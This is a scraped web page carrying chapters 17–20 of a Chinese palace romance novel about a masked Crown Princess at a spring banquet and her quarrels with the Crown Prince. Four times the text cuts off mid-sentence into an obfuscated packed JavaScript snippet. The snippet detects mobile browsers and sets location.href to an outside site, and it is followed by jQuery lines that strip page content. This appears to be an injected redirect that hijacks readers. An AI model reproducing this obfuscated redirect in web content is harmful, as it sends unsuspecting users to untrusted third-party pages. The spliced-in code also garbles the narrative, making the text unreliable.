“师瑶”不过是一个五品官员的女儿,崔蓁蓁大可在她面前抖县主的威风,厉声道:“将幕篱取下来!”
沐夷光继续哑着嗓子道:“怕将病气过给县主,臣女不敢。”
哪有人病得这样快的,这下崔蓁蓁就更不肯放过她了:“有何不敢的,本县主身体好得很,倒是你如此遮遮掩掩,莫不是心里有鬼,做了什么见不得人的事儿?”
说着,崔蓁蓁便伸手要去摘她脸上的幕篱,沐夷光灵巧地侧身躲过了,她见势不妙,趁机就要往外跑,崔蓁蓁却早有准备,带着宫人将其团团围住。
陆修珩远远走来,正巧瞧见这一幕。
他自持太子身份,不便大张旗鼓亲自出面,冷声吩咐刘宝道:“愣着做什么,还不快带人去将人领走?”
刘宝只觉得自己越发猜不明白殿下的心思了,这是当真看上那师姑娘了?
他也不再细想,连忙带着人往月洞门赶去。
沐夷光这才开始觉得有些后悔,若是让人发现太子妃在春日宴上蒙面上台,只会说她轻浮无礼,坏了规矩和名声不说,还会连累殿下。
她努力让自己冷静下来,哑声道:“光天化日之下,清平县主率众为难我一个小女子,传出去只怕不好听吧?”
“那又何妨?”崔蓁蓁沾沾自喜,意有所指道:“师姑娘只怕没有听过更难听的,已婚妇人蒙面上台,在春日宴上评选花神,若是传出去,别人会怎么说呢?如此轻佻浪荡、不守妇德之人,只怕担不起这正宫之位吧?”
沐夷光握紧了手中长剑:“我不明白清平县主在说什么。”
崔蓁蓁瞧她一眼,那剑并未开刃,自己又人多势众,真若打起来,沐夷光根本讨不了好去,只会将事情闹得更大,到那时候,只怕太子哥哥与皇室都容不下这个德行有亏的太子妃了。
想到那个场面,崔蓁蓁昂首笑了起来:“你不懂无所谓,待本县主取下你的幕篱,大家便懂了。”
沐夷光咬了咬牙,持剑于胸前,做好与崔蓁蓁动手的准备。
如此千钧一发之际,刘宝终于匆匆赶来,气喘吁吁道:“住、住手!”
见是刘宝,沐夷光立刻放下了剑,只是心中忐忑不安:既然刘宝来了,殿下应当也知道了此事……
到底是太子殿下身边的大太监,崔蓁蓁收起方才那副嚣张的嘴脸,柔柔笑了笑,出言解释道:“刘公公,本县主不过是请师姑娘摘下幕篱而已,还请公公莫要插手。”
这女人之间的纷争,刘宝才懒得插手呢,只是这是殿下要护着的人,他不得不拦道:“既然师姑娘不愿意,清平县主就不要强人所难了。”
“刘公公你有所不知,”崔蓁蓁柳眉倒竖:“此女为在春日宴上博得一个好名次,竟让他人替自己跳舞,本县主就是要当众揭穿她的真面目!”
“放肆!”一道低沉冰冷的男声传来,陆修珩淡淡看着她,眼底像是积着雪原上经年不化的冰霜:“无凭无据之事,贤阳公主便是如此教你说话的吗?”
太子殿下气势凌人,众人立刻鸦雀无声,沐夷光垂着头,与崔蓁蓁一同向太子殿下行礼。
她心中喜忧参半,喜的是殿下到底是护着她的,忧的是自己今日弄出如此闹剧,殿下会生自己的气吗?
“太子哥哥!”崔蓁蓁又急又气,直道:“太子哥哥有所不知,方才跳剑舞的根本不是师瑶,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14629047|156254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她就是——”
“清平县主慎言,”陆修珩打断她,至若不闻,又看向一旁的沐夷光,冷冷道:“太子妃已等你多时了,还不快去。”
沐夷光不敢说话,如释重负地退下了,她也不敢走远,躲在远处的一棵树后,观望事态的发展。
崔蓁蓁一脸幽怨:“太子哥哥为何要拦着我?”
陆修珩不答,眉宇间是寒冰一般的冷冽之色:“春日宴既然有这带幕篱的规矩,自然是要遵守的。你身为县主,不以身修德,反而自作聪明,仗势欺人,成何体统!孤看你是越活越回去了,既然如此,便好好地在家抄一个月的《女诫》吧。”
闻言,崔蓁蓁脸色煞白,一个字也说不出来。
刘宝此时也想明白了前因后果,冲着清平县主身边的侍女喝道:“还不快把你家县主带走?!”
崔蓁蓁咬着唇,不情不愿地向太子认了错:“臣妹知错了,臣妹这就回去,认真抄写一个月的《女诫》,不负殿下教诲。”
眼看崔蓁蓁走远,沐夷光心中对太子殿下的崇拜与依赖立刻又升高了一个台阶。
等众人散去,她便老老实实地从树后走了出来,小声认错道:“殿下,臣妾知错了。”
陆修珩眼里的冰霜还未散尽,静静站在原地看她一眼,声音听不出情绪:“离孤远点儿。”
沐夷光本来就心中羞愧,这样被他一训,眼泪立刻就包不住了。
她额上还沁着一层薄薄的汗珠,脸庞因为跳舞的热气蒸得红红的,幕篱也未摘,露出一双迷蒙的泪眼。
方才的神彩都在那双眼里暗了下去,目光湛湛,但又不说话,只是委屈又执拗地看着他。
明明犯错的是沐夷光,这样的眼神,倒显得像是陆修珩欺负了她了。
陆修珩无奈,半是斥责半是解释道:“站得这样近,当真让孤娶一房侍妾回去不成?”
只消殿下一句话,那双明媚的眼睛立刻又亮起来,破涕为笑。
沐夷光胡乱地用衣袖擦了擦眼睛,眼尾的黛色与红痕混杂在一起,像只找到了主人的流浪小花猫,狼狈又可爱。
语气也还有些抽抽噎噎的:“臣妾知错了,稍后再来向殿下请罪。”
刘宝都已经替殿下心软了,小花猫能有什么错,何况这样一只惹人怜爱的小花猫,哪怕是犯下天大的过错,也应该被原谅的。
陆修珩依旧是不软不硬地“嗯”了一声,看不清态度。
沐夷光还想卖卖乖,但是为了避嫌,说完这句话,她便飞快地跑开了。
太子妃步履轻盈,太子殿下却还得分神为她收拾善后,仔细吩咐刘宝道:“将周围都查点清楚了,清平县主的人也盯着点,莫要出了什么岔子。”
18. 第 18 章
沐夷光装作摔了跤的样子,一瘸一拐地去后台厢房,师瑶已在此处恭候多时了。
青霜与长缨端来清水为她梳妆,为了防止日后露出马脚,她将方才的事情大致讲了一遍,只是略去了被殿下发现身份一事。
师瑶心中自责不已:“都是我不好,无端害阿梨卷入这场纷争,若是殿下因此与阿梨起了嫌隙,我真是万死难辞其咎了。”
沐夷光才不害怕呢,她悄悄地扬了扬唇:“阿瑶姐姐放心吧,太子殿下不会怀疑的。”
与师瑶交接完,沐夷光换回了自己的衣裳,立刻又去寻太子殿下。
看到陆修珩还站在原处“等”她,沐夷光心中感动得不行,欢欣雀跃地迎了上去:“殿下。”
她光明正大地与太子殿下站在一处,忽然又想起自己还是“戴罪”之身,立刻收敛了一点笑意,乖巧认错:“殿下,臣妾有错,还请殿下宽恕。”
陆修珩不怒反笑道:“说说看,你何错之有啊?”
“……臣妾不该罔顾皇室脸面,擅自上台比试,”沐夷光小声解释:“但是臣妾不是故意的,是清平县主害得师瑶姑娘受伤不能跳舞,又出言贬损了漠北女子,臣妾心中气不过,这才犯下大错。”
她眨了眨眼,软软地道歉:“殿下,臣妾已经知错了,殿下便大人不记小人过,饶了臣妾这一回吧。”
陆修珩懒得理会,沐氏已经是惯犯了,一看就是这回认错,下回还敢。
沐夷光试图通过耍赖来博取陆修珩的原谅:“殿下若是不嫌弃的话,臣妾会做甑糕,臣妾为殿下做一碟儿甜甑糕赔罪如何?”
青霜和长缨听得咋舌:娘娘您醒醒,您何时会做甑糕了?
……想到那块甜得发腻的红豆馅儿饼,陆修珩立刻动摇了,他虽然气恼沐氏胆大妄为,不过到底未造成什么不可挽回的后果。
他深吸一口气,冷静道:“不必,下回莫要再犯便是。”
下回,还有下回啊?
这下莫说是沐夷光了,就连刘宝也感受到了殿下的偏颇之处。
“殿下说得是。”
得了陆修珩这句话,沐夷光立刻原谅了自己。
“臣妾真的悔悟了,”她嘴上说着悔悟,实际上却在得寸进尺地问道:“臣妾方才便在想,如果臣妾的幕篱被摘下来了怎么办?”
陆修珩不理她,这种假设性的问题,他认为没有回答的必要。
沐夷光锲而不舍地继续追问道:“殿下会因此休弃臣妾吗?”
……
陆修珩第一次有种自己的思维跟不上别人的感觉。
“胡说什么?”他皱了皱眉,让她死了这条心:“孤不是早就说过,不会与你和离。”
他并非迂腐拘囿之人,只要不是过于离经叛道,可控范围之内他都可以容忍,何况就算沐夷光的幕篱被崔蓁蓁摘了下来,他也自有办法将黑的说成白的。
这斥责却比什么情话都来得动听。
沐夷光心中的喜悦像是花朵一样绽开了,她扬起脸,主动抱住陆修珩的手臂:“我就知道殿下一定会相信我的。”
带着凉意的手被温热的体温环抱,陆修珩微微一愣。
他不喜欢这种陌生的感觉,立刻挣脱开来,轻声斥道:“大庭广众之下如此拉拉扯扯,成何体统?”
这哪里说的是太子妃啊,众人立刻识相地移开了眼,又退开几步,几乎都能达成共识:殿下这是害羞了。
好吧,太子殿下脸皮薄,等没人的时候再拉拉扯扯。
沐夷光体谅地松开了手,一点都没有被训斥的尴尬,声音又甜又暖,带着一点撒娇意味:“殿下,我们现在去哪里啊?”
陆修珩并不知道这群人都脑补了什么,他走在前面,头也不回道:“今日你消失了这么久,总该在春日宴上露个面吧?”
殿下这是要帮她作伪证了。
沐夷光羞赧地笑了笑,乖巧地问:“殿下,若是有人问起臣妾今日去了哪儿,臣妾该怎么答呀?”
陆修珩早已布置妥当,道:“今日浮碧亭旁开了一朵金茶花,你赏花入迷,故才来迟。”
沐夷光立刻就好奇起来:“山茶不是只有赤色或白色的么,真有如此奇景?”
“正是这白山茶上开出一朵金茶花,才叫奇景,”陆修珩不疾不徐,绘声绘色道:“这金茶花形状与普通山茶无异,但却通身官黄,无一丝杂色,有清雅茶香,明明日光下宛如金沙熠熠。”
他的声线清冽低醇,又带着一丝蛊惑,仿佛余音绕梁,挥之不去,沐夷光听得入了神,却冷不防传来一句:“……记住了么?”
沐夷光这才想起来,殿下是在教她撒谎呢。
她出了神也依旧理直气壮道:“没有,方才光顾着听殿下说话去了。”
……
陆修珩冷眼看着她,仿佛在问:你要不要看看你在说什么?
沐夷光将双手并在胸前,琉璃珠子一般的眼睛里几乎要冒出星星来,恳求道:“殿下,再为臣妾讲一遍嘛。”
陆修珩忍住叹气的冲动,又重复了一遍。
这下总算是记住了,沐夷光顾虑道:“可是臣妾都没有去过那里,这样说真的可以吗?”
陆修珩是有备而来,淡淡道:“无妨,白露和素月早就候在那里了,若是有人问起,自然会替你作证的。”
太子与太子妃一同登上观赏台,自然是万众瞩目。
因带着沐夷光的缘故,陆修珩并未再上顶楼,而是去了二楼的雅间。
今日评选莲花花神的姑娘格外多,绕了这样大一圈回来,评选还在继续,且多是诗词歌赋、琴棋书画,大概是想以才情动人。
沐夷光压低声音问长缨:“那探花郎严景书是哪个?”
长缨原是不敢动的,看到殿下似乎没注意这边,才往男席中间一指:“右边那个穿青色常服,身量高挑,戴银制发冠的便是了。”
正巧那人有事回头,沐夷光眯眼看了个大概,的确是有些风度的,只是对着陆修珩这样的谪仙容貌看久了,她由奢入俭难,再看探花郎也不过觉得尔尔。
她倒是注意到严景书桌上的花儿只剩了三枝,那枝莲花插在观音瓶中,亭亭玉立。
她又悄声吩咐道:“届时你去打听打听,看看探花郎将这莲花投给哪家的姑娘?若是严探花已有心仪之人,也好劝师瑶姐姐早日放下。”
沐夷光的声音虽小,到底瞒不过同处一室的陆修珩。
他心中冷笑,严探花的那一枝莲花,应当是不会出手的。
不过他也懒得提醒,到底是要撞上南墙,沐夷光才能学着看清人心险恶。
得知了太子和太子妃在此的消息,皇子们便登门造访了。
沐夷光与几位伯叔见礼,总算将真人与自己所背的族谱一一对应上了。到底是天潢
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14629048|156254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
贵胄,几位皇子都生得一副好相貌,只是气质各有不同:那个温文尔雅、谦谦君子一般的,是秦王陆修珉;那个看上去有些懒散、脸上经常冒出一点坏笑的,是楚王陆修瑞;那个笑容满面看上去直率开朗的,是吴王陆修瑾;那个年纪小些一脸单纯天真的,是雍王陆修琢。
大家互相寒暄一番,陆修瑞便开始造作了,他还记着二哥要向卢琼思告自己的状,先发制人道:“二嫂,你怎么才来,错过二哥方才料事如神的英姿了。”
沐夷光立刻顺水推舟道:“今日在御花园内瞧见了一朵金茶花,本宫赏花入迷,故才来迟了。”
她将陆修珩方才教她的说辞重复一遍。
陆修珉道:“二弟妹好福气,这可是难得的祥瑞,父皇若是知道,必然大喜。”
沐夷光笑道:“应是如此,只是那地方极为幽深隐秘,本宫受伤后又记不清事,好像在是浮碧亭附近,好在本宫的侍女还在那里守着,怕人误摘了去。”
陆修瑾也道:“花在那里,又不会长脚跑了,还是先看花神吧。”
他嘴上这样说,暗地里却立刻安排了人,务必第一时间将此祥瑞禀报宣成帝。
沐夷光是个活泼的性子,见这一话题了了,立刻便追问道:“楚王殿下方才所说的‘料事如神’是什么缘由呀?”
陆修瑞戏谑地笑了笑,开始添油加醋:“方才我们打赌,看谁能猜中台上蒙面女子的身份,正巧是评选石榴花神的时候,有一名女子跳了一曲剑舞,技惊四座,可惜我们不识京中女眷,倒是让二哥一眼就猜出来了。”
他这话说得好不要脸,几位殿下都忍不住笑了,倒也没有戳穿。
沐夷光的脸一下子便热了起来。
她在心中默念三遍:只要我不尴尬,尴尬的就是殿下,这才结结巴巴道:“哦哦,这可有些碰巧了,那名女子是本宫的手帕交,昨日本宫还在她排练的时候弹了一曲《剑器》呢,殿下也是知情的。”
只是殿下是怎么认出是我的呀?
沐夷光心中又紧张又羞怯,决定一会儿再偷偷问他。
没想到太子妃如此端庄大方,陆修瑞看热闹失败,只好转头去寻陆修珩的麻烦:“好啊,二哥你作弊,快将方才的彩头还给我!”
陆修珩不以为意,只道:“愿赌服输。”
陆修瑞不服:“那二哥敢不敢再与我赌一局。”
陆修珩眼神看向沐夷光,用意明显:“不赌了。”
这还是沐夷光失忆后,他第一次觉得带她出门总算还有些用处。
沐夷光感受到这份尊重,朝陆修珩笑了笑,表情亲昵。
顾及到太子妃,陆修瑞也只好作罢,他干脆将二哥出卖到底:“二嫂,二哥方才可是赢了不少好东西,连大哥的祖母绿坠子都被他赢了去,你可要看紧些,莫让他入了私库。”
沐夷光微微睁大了眼睛,转头看向陆修珩:她还从没有过祖母绿的坠子呢!
她的五官生得极美,即便是无理取闹,也透着一点天然的清纯娇憨,教人生不出半点反感。
陆修珩微微勾出一抹笑意,语气却清淡:“都是你的。”
沐夷光立刻就开心起来:“多谢几位殿下。”
见此情景,几位皇子眼中俱是多了几分审视:皇室之中夫妻逢场作戏十分常见,在座哪个不是如此,只是如今看来,这太子夫妇的感情,怎么好似有几分真呢?
19. 第 19 章
陆修珩又是帮忙遮掩,又是将赢下的彩头慷慨相赠,得了太子殿下这样大的恩惠,沐夷光立刻就变得小意温柔起来。
她坐在陆修珩一侧,殷勤问道:“殿下盏里的茶凉了,臣妾为您新沏一盏吧?”
“这枣泥酥饼又酥又甜,殿下尝一块吗?”
陆修珩全程都不置可否,任凭沐夷光在那儿忙碌,于是几位皇子便看着太子妃又是给太子沏茶,又是给太子拿糕点,然后又笑盈盈地拈起一颗樱桃道:“殿下,早春的樱桃已经熟了,殿下吃一个吧?”
早春的樱桃难得,而拈着那颗樱桃的一双玉手却更为难得,幼嫩如春葱,修长如玉笋,指尖泛着粉白莹润的光,衬得樱桃愈红,柔荑愈白,叫人食指大动。
陆修珩却定力十足,依旧不为所动,只抬手饮了一口方才沐夷光所沏的茶。
知道陆修珩在外人面前多有顾及,沐夷光也不勉强,自己开开心心地将那颗樱桃吃掉了,酸甜可口的汁水浸润齿间,带着一股樱桃特有的清香,让人回味无穷。
见此情景,楚王也情不自禁地抓了一把樱桃来尝,呜呜呜,他怎么觉得有些酸呢。
虽然先前已经得了太子敲打,陆修瑞此刻又不知死活地想要摘下那师姑娘的面纱一睹庐山真面目,出言问道:“二嫂,那师姑娘现在何处呀?”
想自己堂堂一个王爷,相貌英俊又多情多义,纳一个京城五品官员的女儿为妾,这桩亲事她怎么也吃不了亏吧?
……沐夷光想起楚王素爱挑拨离间的王妃和不知其数的外室,立刻替师瑶婉拒道:“师姑娘下台后不小心伤了腿,行动不便,应当已经准备出宫了。”
陆修瑞也不勉强,这种事情须得你情我愿才有真味,何况来日方长嘛。
正巧这时台上公布了石榴花神的评选结果,正是师瑶。
既知太子妃与这师姑娘交好,秦王陆修珉便八面玲珑地赞道:“这师姑娘当选石榴花神,实在是实至名归。这一曲剑器舞,当真有些‘来如雷霆收震怒,罢如江海凝清光’的意韵了。”
沐夷光抿着唇,故作稳重地点了点头,不过若是身后长了尾巴,只怕此时已经翘到天上去了。
陆修瑞还在酸唧唧地试图找陆修珩的茬:“这一曲《剑器》舞,二哥觉得如何呢?”
陆修珩并未答话,这确是他第一次见沐夷光跳舞,跳得也的确是好,侠骨柔情,行云流水,飘然若仙。
如今想来,失忆以前的太子妃就好像是戴了假面一般,完美得有些不真实,在失忆以后才一点一点暴露出原本的自我——的确很让人头疼。
陆修琢惯来是实话实说的性子,接道:“二哥方才看得眼睛都瞪大了,应当也觉得很好吧。”
沐夷光嘴角噙着一抹笑意,满怀期待地看着陆修珩,等待他的回答。
其实这件事刘宝可以证明,殿下瞪眼那是被气的,但是他不敢说话。
陆修珩不愿助长沐夷光的嚣张气焰,更不愿承认自己的情绪被她牵动,轻描淡写一句:“聊复尔耳。”
这样好的舞,在陆修珩面前却只落得如此评价,几位皇子只想到一种可能:没想到太子会如此顾及太子妃的颜面,脸上都露出意味深长的笑意来。
沐夷光却坐不住了,愤愤道:“师姑娘跳得不好吗,殿下未免也太过严苛了。”
陆修瑞自然是看热闹不嫌事大,笑道:“若不是二嫂在此,二哥也未必如此严苛。”
几位殿下抿着笑意,等着看太子妃的反应,太子妃却像忽然想开了似的,怒意全消。
经楚王这样“提醒”,沐夷光立刻转过弯来。
雍王方才说殿下看得眼都直了,应当不是作伪,毕竟大家都以为台上跳舞的是师瑶呢,殿下怎好出言褒扬?
这样想着,她不仅不生气,嘴角的笑意都要压不住了,喜滋滋地又吃了一颗樱桃。
……楚王妃怎么就不能像太子妃这般雍容大度,一想到自家的河东狮,陆修瑞的心里更酸了。
真真是应了秦王先前那句话,得妻如此,夫复何求啊。
既然结果已出,师瑶姐姐应当可以安心出宫了,考虑到她脚上有伤,宫中又不能随意乘轿,沐夷光连忙与青霜耳语几句,让她帮忙在宫中寻一把轮椅,方便师瑶出宫。
青霜点点头,转身离去。
台上的表演还在继续,直到参选莲花花神的女子全部表演完毕,严景书手里的那枝莲花也未送出。
只是那些投严景书所好、以“莲”为题的诗词歌赋曲高和寡,花神之名最后落入跳了一曲《采莲》舞的女子手中。
接下来的秋海棠花神与桂花花神的评选也淡而无味,几位皇子自矜身份,又没有心仪女子,从头至尾也未赠花,甚至吴王与雍王已借故走了,只有秦王和楚王勉强坐到最后。
陆修珩估算着时间,觉得差不多了,也起身准备回东宫。
沐夷光爱看热闹,还有些不愿意,推脱道:“青霜去送师姑娘了,这白露与素月也还未回来,殿下再陪我等一会儿嘛。”
陆修珩的回答却耐人寻味:“不必等了,该回来的便会回来的。”
沐夷光一愣,觉得他话里有话,还是答应了。
两人一路回了东宫,沐夷光倒是一点都不急着回毓华殿,只是亦步亦趋地跟着太子殿下,一直到端敬殿书房,面上还笑盈盈的。
无事献殷勤,非奸即盗。
陆修珩已经摸清了此女秉性,懒声问道:“有什么话,便说吧。”
沐夷光站在他面前,那双小鹿眼明亮似清泉,直勾勾地看着他,明媚的笑意横冲直撞,丝毫不懂什么叫做收敛。
她咬着唇,声音也不似以往清脆,有一点紧张:“方才台上……殿下是如何认出我来的呀?”
经过了方才的几番周折,她对彼此的感情认知变得更加深刻了,甚至已经在心里为陆修珩想好了答案,无非就是“你在孤心中是独一无二的”、“无论是何模样,孤也会一眼认出你”、“不管你在哪里,孤都会找到你”之类的回答。
她扬起脸,满心期待。
陆修珩掀了掀眼皮,直言不讳:“你今日一早便出了门,却迟迟未在春日宴上现身,多半是出了什么变故,何况你这两日在宫
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14629049|156254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中横着走,旁人不敢把你怎么样,对师逢德之女下手就要简单许多了。”
沐夷光先前的笑意还未来得及褪下,她气得瞪圆了眼睛,看起来有一点呆呆的可爱。
“就……就只是这样?就没有想到别的什么吗?”
陆修珩似有所悟,又补充道:“仔细想来,那曲剑器舞中几处动作有些微迟滞,皆与左手换剑有关,应是你左肩伤处还未好彻底的缘故。”
沐夷光紧紧凑了上去:“眼睛呢,你看着我的眼睛,就没有觉得我和旁人有什么不同吗?”
两个人的距离骤然拉近,淡淡的梨花香气袭来,莹白清透如春天。
她的眼睛依旧亮亮的,陆修珩几乎能在那里看到自己的身影。
陆修珩怔愣了一秒,不露痕迹地后退半步:“不过一具皮囊,有何不同?”
沐夷光气急败坏,现在是一只炸了毛的小野猫了,她大大地“哼”了一声,气道:“我再也不要与你说话了!”
……
简直是莫名其妙,不可理喻!
陆修珩的脸也冷得像是结了冰的湖面,隐隐压抑着怒气。
太子妃已经跑出书房,“砰”地关上了门,留下陆修珩,还有大眼瞪小眼的刘宝与洛元。
他俩跪在地上,看戏看得心惊胆颤。
果然,殿下很快就转过头来,嗓音透着一股危险的凉意:“还不快滚?!”
真是城门失火,殃及池鱼。
两条池鱼一秒都不敢多呆,忙不迭地跑出去了。
出了书房,已看不到太子妃的影子,洛元长舒一口气,忍不住问道:“刘公公,你说这太子妃失忆后,为何性情如此大变啊?”
女人心,海底针,刘宝叹气道:“洛统领有何高见?”
洛元想了想,有理有据地分析道:“我原先听老人说,这刚出生的小鸡崽都会紧紧跟随见到的第一个物什,通常是它们的母亲,不仅是鸡崽,很多动物乃至人也是如此,太子殿下应当就是太子妃娘娘失忆后见到的第一个人,因此对殿下格外信任依赖,便也不像原先那样知情达理了。”
……洛统领的比喻实在太危险了!
刘宝情不自禁地缩了缩脖子,反对道:“咱家倒是有不同的看法,原先咱家也以为娘娘与殿下是面和心不合,如今看来是误解娘娘了,若是娘娘对殿下无意,哪里会舍身相救呢,再看眼前这桩桩件件,娘娘的心思已是表露无疑,只是原先顾及殿下的想法以及正宫娘娘的身份这才勉力克制,如今失忆了,便无所顾忌地将压抑已久的情感宣泄出来了。”
只听得“吱——”的一声,书房门复被推开。
两个人双腿一抖,立刻“扑通”跪在地上:“奴才(卑职)该死,奴才(卑职)该死。”
是该死,但现在还不是时候。
陆修珩冷眼地看着这两个奴才,声音平淡,却透着一股威胁意味:“你们方才在说什么?”
刘宝与洛元对视一眼,都从对方的眼里看到两个字:完了。
陆修珩转过身,书房的门还敞着,冷冷飘来几个字:“滚进来说。”
20. 第 20 章
洛元和刘宝轻手轻脚地跟在后面进了书房,带上门。
陆修珩坐在黄花梨木南官帽椅上,垂眼看向二人:“把刚才的话再说一遍。”
刘宝立刻道:“方才是洛统领挑起的话头,那就由洛统领先说吧。”
殿下的目光落到了洛元身上。
洛元立刻忘了自己方才说过的那番关于母鸡和鸡崽的言论,更不敢说自己觉得娘娘是在失忆后才对殿下有所不同的。
他挤出一个有些憨憨的笑容:“属下方才与刘公公说,娘娘深爱殿下,只是先前顾及殿下的想法以及太子妃的身份这才勉力克制,如今失忆了,又觉得与殿下夫妻恩爱,便无所顾忌了。”
刘宝瞪他一眼,这哪里是洛元这根朽木说得出来的话,分明就是自己说的。
陆修珩微微皱了皱眉。
原以为沐夷光是个聪明的,不想她竟假戏真做了,如今看来,倒要重新审视这段关系,毕竟他并不需要沐夷光的爱慕,更不想横生枝节。
“那依你二人所见,该当如何?”
洛元看到自己的说辞被殿下认可,立刻被勇气冲昏了头脑:“属下认为,既然是误会,说开便是了,若是娘娘知道自己以为的夫妻恩爱不过是假象,自然不会再这般缠着殿下了。”
他越想越觉得有理,这方法虽然简单粗暴,但却直截了当。
娘娘虽然是孤身一人从漠北远嫁京城,如今也只有十四岁小姑娘的记忆,若是旁人可能开不了口将娘娘推入如此难堪的境地,但殿下可是铁石心肠,何况成大业者,如何会被儿女情长所累。
陆修珩剜了他一眼,透着一股寒意。
“然后呢,娘娘是该哭着跑回漠北还是进宫找皇上告状?陛下最是重情重义,若是让他老人家知道了,此事该如何收场?”刘宝一口气说完,还不忘落井下石地踩上一脚:“洛统领还是干那些打打杀杀的糙活儿得力些,这揣度女人心思的本事啊,还是等你成了亲再来吧。”
洛元不服气道:“是是是,我哪有刘公公懂女人心啊?”
陆修珩不耐地抬了抬眉,二人立刻噤声。
看来向一个太监和一个感情经历空白的侍卫讨教如何处理女人情感这件事情并不靠谱。
陆修珩冷声问刘宝道:“李禄仕回信了吗?”
刘宝连忙拿出身上揣了半天的信封:“今日刚刚送到京城。”
“念。”
刘宝战战兢兢将李禄仕的信念了一遍,无非是说这脑子构造精巧,要治疗失忆离魂之症,并无立竿见影的办法,只能从外部着手,慢慢将养。一是膳食要清淡、多强身健体,二是可以多了解忘记的事情,比如故地重游;第三是一定要平心静气,保持身心愉悦,避免心乏闷倦。
听完这一通医嘱,陆修珩冷哼一声:“孤看她是好不了了。”
方才太子妃娘娘摔门的情形还历历在目呢,只是殿下这话也不是刘宝和洛元可以应的,两个人都只能保持沉默。
陆修珩靠坐在椅背上,眸色幽深,修长的手指无声敲了敲扶手,沉吟半响,终是压下了眼底的波澜。
“也就是说,孤还非得哄着她不可?”
刘宝赶紧给殿下递上台阶:“到底娘娘是为了殿下才遭此一劫,此事还是靠娘娘自己想起来的好。殿下如此宽宏,事后娘娘知道了,也会感激不尽的。”
陆修珩收敛了神色,淡淡道:“那便依李神医所言,让太子妃尽快恢复记忆。”
他先是吩咐洛元:“漠北距离遥远,你去查查太子妃近两年在京城都常与什么人接触,爱去哪些地方。”
又对刘宝道:“毓华殿的饮食起居,你多看顾些。”
二人领命道:“是。”
刘宝复又抬头,小心翼翼地提醒:“殿下,娘娘这会儿只怕还生着气呢。”
李禄仕所言的第三条,便是要平心静气,身心愉悦。
陆修珩不堪其扰,随口道:“那便将孤方才从秦王他们那里赢来的东西都送去毓华殿。”
“殿下,只怕娘娘想要的并不是这些。”
陆修珩少有如此受制于人的时候,嘴角勾起一抹似笑非笑的弧度:“怎么,孤还得亲自登门向她道歉不成?”
刘宝冒死替殿下分析太子妃生气的原因:“娘娘虽然感情用事了些,毕竟是因为深爱着殿下,才希望自己在殿下心中与众不同,殿下能够一眼认出自己的。”
陆修珩抬了抬眼,随手转动了一下手指上的暖玉扳指,方才那股逼人的压迫感总算是褪去了些。
见转圜有望,刘宝再接再厉道:“娘娘年少无知,只有殿下多担待些,何况再过几日便是花朝节了,殿下总不能就这样和娘娘一同出席御宴吧?殿下只消向娘娘说些好听的,让娘娘消了气便成。”
此话一语中的,陆修珩淡淡嗯了一声:“你倒是说说,什么好听,什么不好听?”
太子殿下虽然生得一副好皮囊,但是面容冷峻,语气凉薄,冰冷无情,实在是很难叫人生出亲近之意。
刘宝胆战心惊地陪了个笑脸:“娘娘心悦殿下,殿下也无需刻意说些什么,若是说话时能带三分笑意,便更好了。”
耽于情爱之人易受其愚蔽,这也是陆修珩对儿女私情不屑一顾的原因之一,可他明明知晓其理,却仍要受制于人。
更为奇怪的是听刘宝这样一解释,他的脸色莫名缓和不少,只是声音仍然冷淡:“走吧,去毓华殿。”
*
青霜奉太子妃娘娘之命,送了师瑶姑娘出宫,这才回来,见娘娘脸色十分差劲,便偷偷地问长缨发生了何事。
长缨方才并未跟着娘娘一同去端敬殿,现在也是二丈和尚摸不着头脑:“先前还好好的,娘娘跟随太子去了端敬殿回来之后便是这样了。”
涉及到太子殿下,这样的事情,两个奴婢也插不了手。
青霜只好先去复命,道:“娘娘,师瑶姑娘如今已经顺利回府了。”
她原本不是八卦的人,如今为了转移娘娘的注意力,特地说道:“奴婢还见着严探花了。”
沐夷光总算是起了一点兴致:“哦?”
青霜笑道:“是在御花园下台阶的时候,奴婢和宫女搬不动师姑娘的轮椅,严探花路过了,主动出手相助的。”
听起来是个好人,沐夷光懒懒问道:“你觉得其人如何啊?”
“瞧着文质彬彬的,样貌也不错,更
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 